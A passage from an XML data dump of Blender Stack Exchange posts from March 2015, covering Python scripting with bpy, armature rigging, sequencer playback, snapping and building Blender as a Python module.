release_confirm=True)&#xA;bpy.ops.transform.translate(value=(0, 2.9328, 0), constraint_axis=(False, True, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1, release_confirm=True)&#xA;bpy.ops.object.editmode_toggle()&#xA;bpy.ops.transform.translate(value=(0, 1.03954, 0), constraint_axis=(False, True, False), constraint_orientation='GLOBAL', mirror=False, proportional='DISABLED', proportional_edit_falloff='SMOOTH', proportional_size=1, release_confirm=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit - Solved it by creating a custom geometry, as shown here: &lt;a href=&quot;https://blender.stackexchange.com/questions/2407/how-to-create-a-mesh-programmatically-without-bmesh&quot;&gt;How to create a mesh programmatically, without bmesh?&lt;/a&gt; (Pointed out by @poor)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code now creates a flat cube:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy  &#xA;&#xA;verts = [&#xA;(2.0, 1.0, -1.0), &#xA;(2.0, 0.99, -1.0), &#xA;(-1.0, 0.99, -1.0), &#xA;(-1.0, 1.0, -1.0), &#xA;(2.0, 1.0, 1.0), &#xA;(2.0, 0.99, 1.0), &#xA;(-1.0, 0.99, 1.0), &#xA;(-1.0, 1.0, 1.0)]&#xA;&#xA;faces = [&#xA;(0, 1, 2, 3), &#xA;(4, 7, 6, 5), &#xA;(0, 4, 5, 1), &#xA;(1, 5, 6, 2), &#xA;(2, 6, 7, 3), &#xA;(4, 0, 3, 7)]&#xA;&#xA;mesh_data = bpy.data.meshes.new(&quot;cube_mesh_data&quot;)  &#xA;mesh_data.from_pydata(verts, [], faces)  &#xA;mesh_data.update()&#xA;&#xA;obj = bpy.data.objects.new(&quot;My_Object&quot;, mesh_data)  &#xA;&#xA;scene = bpy.context.scene    &#xA;scene.objects.link(obj)    &#xA;obj.select = True  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13275" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.437" LastActivityDate="2015-03-20T16:56:52.203" Title="Python script won't shift face of simple cube" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2015-03-20T12:38:22.423" ContentLicense="CC BY-SA 3.0" />
  <row Id="27398" PostTypeId="2" ParentId="27387" CreationDate="2015-03-20T03:47:59.223" Score="1" Body="&lt;p&gt;@DiegoAdum the problem is in the composting , you are combining a layer from blender_internal and a layer from Cycles ,you'll have to render the Volumetric scene first , or remove the composting and render both than pass the images through the processing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks @Chebhou!! Following your suggestion I change the scene and press Animation button. the render start but only for the 2 scene. I change back the scene to the first one and hit Animation button and now is working again! It seems something was blocked!!! Thanks a lot!!! &lt;/p&gt;&#xA;" OwnerUserId="13203" LastActivityDate="2015-03-20T03:47:59.223" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27399" PostTypeId="2" ParentId="27389" CreationDate="2015-03-20T06:18:45.660" Score="3" Body="&lt;p&gt;The orange dots are the object origins of the selected objects. It looks like you have created multiple armature objects, one for each leg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You only want one armature object for the spider, then add multiple bones to the armature while in edit mode. This allows you to move the entire spider as one while moving individual parts in pose mode as needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can select multiple armature objects and merge them into one by pressing &lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-20T06:18:45.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27400" PostTypeId="2" ParentId="27396" CreationDate="2015-03-20T06:41:23.010" Score="9" Body="&lt;p&gt;I am fairly sure the first is true, but the second isn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list of &lt;code&gt;selected_objects&lt;/code&gt; is expanded as new objects are added, new selections are added to the end of the list, while manually selecting the last addition will be the active object, so &lt;code&gt;active_object&lt;/code&gt; is rarely the first in the &lt;code&gt;selected_objects&lt;/code&gt; list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some conditions that may catch you out. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When deselecting all objects, the last active object remains active even though it may no longer be selected.&lt;/li&gt;&#xA;&lt;li&gt;When setting items as selected with python the active object does not automatically change.&lt;/li&gt;&#xA;&lt;li&gt;Select all does not alter the active object.&lt;/li&gt;&#xA;&lt;li&gt;Deleting the active object leaves you with no active object.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-03-20T06:41:23.010" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27401" PostTypeId="2" ParentId="27396" CreationDate="2015-03-20T07:43:00.763" Score="3" Body="&lt;p&gt;After I post this question I think I can have a look at&#xA;the implementation(&lt;code&gt;f51a3aedc9540e0bcda4f16deec22e9aa722ef24&lt;/code&gt;) for answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Firstly, &lt;code&gt;active_object&lt;/code&gt; and &lt;code&gt;object&lt;/code&gt; refer to the same object when you &#xA;try to access either one of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The attribute retrieving happens in the function &lt;code&gt;ed_screen_context&lt;/code&gt;(file &lt;code&gt;screen_context.c&lt;/code&gt;).&#xA;This function performs string matching on the attribute names.&#xA;For &lt;code&gt;active_object&lt;/code&gt; and &lt;code&gt;object&lt;/code&gt; you can see both of their implementations return &lt;code&gt;obact&lt;/code&gt;(It is &lt;code&gt;scene-&amp;gt;basact&lt;/code&gt; actually) as result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, when you set an active object through &lt;code&gt;scene.active = ...&lt;/code&gt;,&#xA;&lt;code&gt;active_object&lt;/code&gt; and &lt;code&gt;object&lt;/code&gt; are assigned by that object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The call chain of this process is&#xA;&lt;code&gt;SceneObjects_active_set&lt;/code&gt;(file &lt;code&gt;rna_scene_gen.c&lt;/code&gt;) -&gt; &lt;code&gt;rna_Scene_active_object_set&lt;/code&gt;(file &lt;code&gt;rna_scene.c&lt;/code&gt;).&#xA;In the function &lt;code&gt;rna_Scene_active_object_set&lt;/code&gt; you can see the active object is assigned to &lt;code&gt;scene-&amp;gt;basact&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, &lt;code&gt;selected_objects&lt;/code&gt; seems to be a totally different thing from &lt;code&gt;active_object&lt;/code&gt; and &lt;code&gt;object&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The selecting of an object happens in function &lt;code&gt;Object_select_set&lt;/code&gt;(file &lt;code&gt;rna_object_gen.c&lt;/code&gt;). But I failed to find the relation between &lt;code&gt;active_object&lt;/code&gt; and &lt;code&gt;selected_objects&lt;/code&gt; as @sambler said.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT: The relation between &lt;code&gt;selected_objects&lt;/code&gt; and &lt;code&gt;active_object&lt;/code&gt;/&lt;code&gt;object&lt;/code&gt; is confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as @sambler said&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;while manually selecting the last addition will be the active object, so active_object is rarely the first in the selected_objects list&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A selecting triggered by &lt;em&gt;manual&lt;/em&gt; action happen in a space operator, rather than in a Python script binding.&#xA;So I search this operator in &lt;code&gt;view3d&lt;/code&gt; space.&#xA;I found the operator &lt;code&gt;VIEW3D_OT_select&lt;/code&gt; in file &lt;code&gt;view3d_select.c&lt;/code&gt;.&#xA;And there is a call chain of&#xA;&lt;code&gt;view3d_select_exec&lt;/code&gt; -&gt; &lt;code&gt;mouse_select&lt;/code&gt; -&gt; &lt;code&gt;ED_base_object_activate&lt;/code&gt;.&#xA;I see the object activation happens in &lt;code&gt;ED_base_object_activate&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA;if ((oldbasact != basact) &amp;amp;&amp;amp; (is_obedit == false)) {&#xA;    ED_base_object_activate(C, basact); /* adds notifier */&#xA;}&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore the last selection will be the new active object.&lt;/p&gt;&#xA;" OwnerUserId="2355" LastEditorUserId="2355" LastEditDate="2015-03-21T03:07:02.057" LastActivityDate="2015-03-21T03:07:02.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27402" PostTypeId="1" CreationDate="2015-03-20T08:03:29.007" Score="1" ViewCount="4054" Body="&lt;p&gt;I have some exr sequences in the VSE, but they won't playback at 25fps.&#xA;Some parts play fine (random), but then it feels like it is caching again at 6fps or something. No matter how often the loop is running it always gets these hickups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 'cache memory limit' is set to 16000, but that doesn't help.&#xA;Is there a way to see if/how much of the cache memory is used, or is there anything else I can do about it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thx&lt;/p&gt;&#xA;" OwnerUserId="7923" LastActivityDate="2016-09-02T20:10:48.860" Title="VSE not playing in realtime (not caching)?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27403" PostTypeId="2" ParentId="27253" CreationDate="2015-03-20T09:18:08.580" Score="4" Body="&lt;p&gt;Pose your weapon according to the view , than run the script to take a picture using openGl render , got o the UV editor and the image will have the name of the active object :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;# path to the folder&#xA;file_path = bpy.data.filepath&#xA;file_name = bpy.path.display_name_from_filepath(file_path)&#xA;file_ext = '.blend'&#xA;file_dir = file_path.replace(file_name+file_ext, '')&#xA;&#xA;mainScreen = bpy.context.screen&#xA;&#xA;#current scene&#xA;scene = mainScreen.scene &#xA;#set render settings&#xA;scene.render.resolution_x = 128&#xA;scene.render.resolution_y = 128&#xA;scene.render.resolution_percentage = 100&#xA;&#xA;#render from view (set view_context = False for the camera render)&#xA;bpy.ops.render.opengl(view_context = True)&#xA;&#xA;#save and load the render (you can't keep the render result)&#xA;img_name = bpy.context.object.name+&quot;.png&quot;&#xA;bpy.data.images['Render Result'].save_render(file_dir+img_name)&#xA;bpy.ops.image.open(filepath = file_dir+img_name)&#xA;bpy.data.images[img_name].pack()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;you can change the render size in the script&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;For screenshots while playing the BGE has a function for that :&#xA;&lt;code&gt;bge.render.makeScreenshot(filename)&lt;/code&gt;    &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_63_17/bge.render.html#bge.render.makeScreenshot&quot; rel=&quot;nofollow&quot;&gt;see the DOC&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="5113" LastEditDate="2015-03-21T18:48:25.350" LastActivityDate="2015-03-21T18:48:25.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="27405" PostTypeId="1" CreationDate="2015-03-20T10:03:55.027" Score="0" ViewCount="736" Body="&lt;p&gt;I am trying to rig the back legs of an animal, but the armature deforms it's knees and upper legs weirdly. This is the position in which it was modeled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PxcXo.jpg&quot; alt=&quot;non-deformwd position&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I wanted to rotate the lower or upper leg, it turned out like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5nyqn.jpg&quot; alt=&quot;moving lower leg&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pPHhn.jpg&quot; alt=&quot;moving upper leg&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix it? (I have already tried reassigning, but maybe the wrong way)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for help.&lt;/p&gt;&#xA;" OwnerUserId="9588" LastEditorUserId="241" LastEditDate="2015-03-20T14:24:06.620" LastActivityDate="2015-03-20T14:24:06.620" Title="How to repair the deformation made by armature" Tags="&lt;rigging&gt;&lt;armature&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27407" PostTypeId="1" AcceptedAnswerId="27408" CreationDate="2015-03-20T12:02:57.347" Score="3" ViewCount="4960" Body="&lt;p&gt;Hi i'm searching this option at User preferences - Addons, but i can't find it in the new version, even making a search. Has been deleted form blender 2.7.3? I want to turn it on as in older versions.&lt;/p&gt;&#xA;" OwnerUserId="13278" LastEditorUserId="12" LastEditDate="2015-03-20T12:44:35.623" LastActivityDate="2017-09-22T17:25:42.357" Title="Where is the Pipe joint addon in Blender 2.7.3?" Tags="&lt;modeling&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27408" PostTypeId="2" ParentId="27407" CreationDate="2015-03-20T12:34:13.430" Score="3" Body="&lt;p&gt;This is now located under &lt;em&gt;Extra Objects&lt;/em&gt; in the &lt;em&gt;Add Mesh&lt;/em&gt; category.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/gnqWe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gnqWe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you enable it, you can access the custom primitive types with &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;&gt; Pipe Joints&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On version 2.79 Pipe Joints are on Add&gt;Mesh&gt;Mechanical&gt;Pipe Joints&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EhAkE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EhAkE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorDisplayName="user1853" LastEditDate="2017-09-22T17:25:42.357" LastActivityDate="2017-09-22T17:25:42.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27410" PostTypeId="2" ParentId="27402" CreationDate="2015-03-20T13:37:40.177" Score="2" Body="&lt;p&gt;While you're playing your sequence, you should see a little fps counter in one corner of the preview. If it's red and below your frame rate you set beforehand, than your computer can't handle the preview rendering in real time. This can be related to memory, but (at least from my experience) it more likely depend on your CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do to improve the playback, is setting up &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Sequencer/Usage/Proxy_Strip_Properties_Panel&quot; rel=&quot;nofollow&quot;&gt;proxy files&lt;/a&gt;. They're typically smaller so playback is easier.&lt;/p&gt;&#xA;" OwnerUserId="11435" LastActivityDate="2015-03-20T13:37:40.177" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="27411" PostTypeId="1" AcceptedAnswerId="27417" CreationDate="2015-03-20T14:14:25.767" Score="0" ViewCount="676" Body="&lt;p&gt;I'm new to this website so please forgive me if this is in the wrong place,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is my last resort, I cannot find this picture texture and I would really want to use it, does anybody know where I can find it?&#xA;This is the texture, I cropped it from another Blender render:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cuKqy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the reference to the image,&#xA;&lt;a href=&quot;http://www.blendswap.com/blends/view/76894&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.blendswap.com/blends/view/76894&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="13282" LastEditorUserId="13282" LastEditDate="2015-03-21T07:04:13.547" LastActivityDate="2015-03-21T07:04:13.547" Title="How do I create this texture" Tags="&lt;rendering&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="4" ClosedDate="2015-03-20T17:28:24.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="27412" PostTypeId="1" CreationDate="2015-03-20T14:48:25.653" Score="2" ViewCount="139" Body="&lt;p&gt;Currently, I'm trying to build the latest Git version of Blender 2.73 as python module under Windows, like described here: &lt;a href=&quot;http://wiki.blender.org/index.php/User:Ideasman42/BlenderAsPyModule&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php/User:Ideasman42/BlenderAsPyModule&lt;/a&gt;. Finally, I want to use the python module together with an appropriate Python IDE, like PyCharm for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried both the compilation with mingw64_gcc49 and the compilation with win64_vc12. With both toolchains I've came up with the following build error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error   44  error C1083: Cannot open include file: 'utfconv.h': No such file or directory   blender-dev\blender\intern\ghost\intern\GHOST_SystemPathsWin32.cpp  38&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This leads to the problem that it is not able to build/link:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error   141 error LNK1181: cannot open input file '..\..\lib\Release\bf_intern_ghost.lib'   blender-dev\blender-build-win64_vc12\source\creator\LINK&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For building blender, I just followed the detailed wiki guide.&#xA;It seems that there had been a similar bug in the past, like I figured out reading this mailing list: &lt;a href=&quot;http://lists.blender.org/pipermail/bf-python/2012-June/005887.html&quot; rel=&quot;nofollow&quot;&gt;http://lists.blender.org/pipermail/bf-python/2012-June/005887.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be great if somebody can point me into the right direction for solving this.&lt;/p&gt;&#xA;" OwnerUserId="13281" LastActivityDate="2015-03-20T14:48:25.653" Title="Building of Blender 2.73 as python module fails" Tags="&lt;python&gt;&lt;versions&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ClosedDate="2015-03-21T12:58:14.330" ContentLicense="CC BY-SA 3.0" />
  <row Id="27413" PostTypeId="1" AcceptedAnswerId="27416" CreationDate="2015-03-20T14:58:15.867" Score="2" ViewCount="280" Body="&lt;p&gt;I'm a change over from AutoCAD. One of the CAD like features that I am really ingrained with is what is called orthographic mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wd57R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In orthographic mode I would be able to move the selected vertexes by clicking parallel to the Y or X grid lines some clicked distance (or snapped distance). Is there an equivalent in Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You! &lt;/p&gt;&#xA;" OwnerUserId="13143" LastActivityDate="2015-03-20T18:15:46.283" Title="Translating vertices orthographically" Tags="&lt;snapping&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27414" PostTypeId="2" ParentId="27413" CreationDate="2015-03-20T15:07:14.867" Score="2" Body="&lt;p&gt;Yes, you hit &lt;kbd&gt;5&lt;/kbd&gt; on the &lt;kbd&gt;Number Pad&lt;/kbd&gt;, and then you are in orthographic view. You can then use &lt;kbd&gt;7&lt;/kbd&gt; for top,&lt;kbd&gt;3&lt;/kbd&gt; for side, and &lt;kbd&gt;1&lt;/kbd&gt; for front. using &lt;kbd&gt;Ctrl&lt;/kbd&gt; with the numbers will give you bottom, left and back views respectively.&lt;br&gt;&#xA;If you wan't, you can aslo change these using the view menu at the bottom of the 3d view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7uIQYm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now as for moving them a set distance, you can use the &lt;kbd&gt;G&lt;/kbd&gt; command followed by an axis &lt;kbd&gt;X&lt;/kbd&gt;,&lt;kbd&gt;Y&lt;/kbd&gt;, or &lt;kbd&gt;Z&lt;/kbd&gt;. Finally you can type a distance out in blender units. Eg the move two vertices 2.25 units forwards you'd type &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;&lt;kbd&gt;.&lt;/kbd&gt;&lt;kbd&gt;2&lt;/kbd&gt;&lt;kbd&gt;5&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerUserId="3127" LastEditorUserId="3127" LastEditDate="2015-03-20T15:17:32.503" LastActivityDate="2015-03-20T15:17:32.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="27415" PostTypeId="1" CreationDate="2015-03-20T15:09:56.443" Score="0" ViewCount="385" Body="&lt;p&gt;I have an object made in blender which needs to prepared for 3D printing. It is relatively complex object (114k verts, 228k faces, 228k tris) which contains three separate meshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I separated the object by loose parts, checked for non-manifold geometry, converted ngons to triangles, and am now attempting to perform boolean Union on them. Blender shows &lt;code&gt;Cannot execute boolean operation&lt;/code&gt;, and CMD displays &lt;code&gt;CSG failed, exception degenerate edge&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's going on here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Modifier seems to work without an error &lt;em&gt;if and only if&lt;/em&gt; objects &lt;em&gt;don't&lt;/em&gt; intersect. That is a problem, since all my objects intertwine. Object parts were designed to intersect. For instance, a person representing a sword. Sword is a bit thicker than the hole in the person's hand to ensure structural integrity of a printed model.&lt;/p&gt;&#xA;" OwnerUserId="3129" LastEditorUserId="3129" LastEditDate="2015-03-20T19:20:28.887" LastActivityDate="2015-03-20T19:20:28.887" Title="CSG failed, exception degenerate edge" Tags="&lt;modifiers&gt;&lt;3d-printing&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="27416" PostTypeId="2" ParentId="27413" CreationDate="2015-03-20T15:12:20.263" Score="5" Body="&lt;p&gt;You can use snapping with the increment option. The transformations will snap to the grid. By using the manipulators you can select the axis for the transformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/giIaf.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The snapping is determined by the size of the grid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;By zooming in or out on orthographic view you can determine the precision of the transformation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eibHz.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can is change the scale for the grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;N&lt;/kbd&gt; and go to &lt;strong&gt;Display&lt;/strong&gt;. In the scale section you can change the size of the grid and the snapping precision will be changed along with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HfN8L.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On top of that you can determine the transformations numerically for example: if you want to move sometning 2.5 units on the X axis you'd type &lt;kbd&gt;G&lt;/kbd&gt;  &lt;kbd&gt;X&#xA;&lt;/kbd&gt; &lt;kbd&gt;2&lt;/kbd&gt; &lt;kbd&gt;.&lt;/kbd&gt; &lt;kbd&gt;5&lt;/kbd&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-03-20T18:15:46.283" LastActivityDate="2015-03-20T18:15:46.283" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="27417" PostTypeId="2" ParentId="27411" CreationDate="2015-03-20T15:48:14.530" Score="3" Body="&lt;p&gt;As &lt;a href=&quot;https://blender.stackexchange.com/questions/27411/last-resort-i-cannot-find-this-texture#comment41505_27411&quot;&gt;cegaton&lt;/a&gt; pointed out, the texture you are looking for is bundled in the blend on blendswap. The file is listed as CC0, so I can freely post it here.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Eahpg.jpg&quot; alt=&quot;grid image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is a simple image that you could easily create in blender with a grid rendered with freestyle, and a text object in the corner. Below is the blend file fully ready to render a grid like the picture above. (wait for the render to fully finish before the freestyle line show up.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/David-Bates/blend-files/blob/master/grid.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blend File&lt;/a&gt;&lt;/strong&gt; click the &quot;View Raw&quot; button to download.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2015-03-20T16:40:10.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27418" PostTypeId="1" AcceptedAnswerId="27419" CreationDate="2015-03-20T16:26:34.413" Score="1" ViewCount="449" Body="&lt;p&gt;I want to set the position of an object, using only the 3 Euler angles and a radius. I couldn't find any equation online, and mine doesn't work at all.&#xA;Where can I find it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="13222" LastActivityDate="2015-03-20T16:44:37.803" Title="Define position by 3 Euler Angles and Radius" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27419" PostTypeId="2" ParentId="27418" CreationDate="2015-03-20T16:36:43.573" Score="2" Body="&lt;p&gt;3 euler angles and a radius is not enough values to accomplish what you want. If you added an AXIS, than that may help, but then you also need the axis. If you say X axis, well that really means (1,0,0). After rotation with your euler angles will transform that (1,0,0) to something else. Then you can multiply by scaler distance to get the point you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import mathutils&#xA;from math import radians&#xA;&#xA;vec = mathutils.Vector(0.0, 0.0, 1.0))&#xA;eul = mathutils.Euler((0.0, math.radians(45.0), 0.0), 'XYZ').to_matrix()&#xA;scalar = 10.0&#xA;&#xA;vec = vec * eul&#xA;position_of_object = vec * scalar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4960" LastEditorUserId="4960" LastEditDate="2015-03-20T16:44:37.803" LastActivityDate="2015-03-20T16:44:37.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="27420" PostTypeId="1" CreationDate="2015-03-20T16:48:17.973" Score="1" ViewCount="186" Body="&lt;p&gt;Is there a rigging &quot;technique&quot; for characters with wide range of movement (like spiderman) without having the mesh deform and spaz out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded a Deadpool model and have spent almost a week trying different bone positioning as well as spending countless hours on weight painting, but in the end he couldn't even reach for his sword on his back without his elbow being mangled into his arm and shoulder looking like stalagmites.&lt;/p&gt;&#xA;" OwnerUserId="13284" LastEditorUserId="2217" LastEditDate="2015-03-20T17:03:52.903" LastActivityDate="2015-03-20T17:03:52.903" Title="Help with rigging a character with wide range of motion" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;&lt;weight-painting&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="27421" PostTypeId="2" ParentId="6666" CreationDate="2015-03-20T17:00:52.180" Score="3" Body="&lt;p&gt;Below the &lt;strong&gt;output panel&lt;/strong&gt;, there's an &lt;strong&gt;encoding panel&lt;/strong&gt; which you will probably have to expand to see. If you choose &lt;strong&gt;MPEG&lt;/strong&gt; as output format, the default encoding format is &lt;strong&gt;.dvd&lt;/strong&gt;. You need to change this to a more suitable encoding. &lt;strong&gt;For Facebook, I suggest MPEG-4&lt;/strong&gt;. That's it!&lt;/p&gt;&#xA;" OwnerUserId="13286" LastEditorUserId="3710" LastEditDate="2015-03-20T23:23:31.540" LastActivityDate="2015-03-20T23:23:31.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
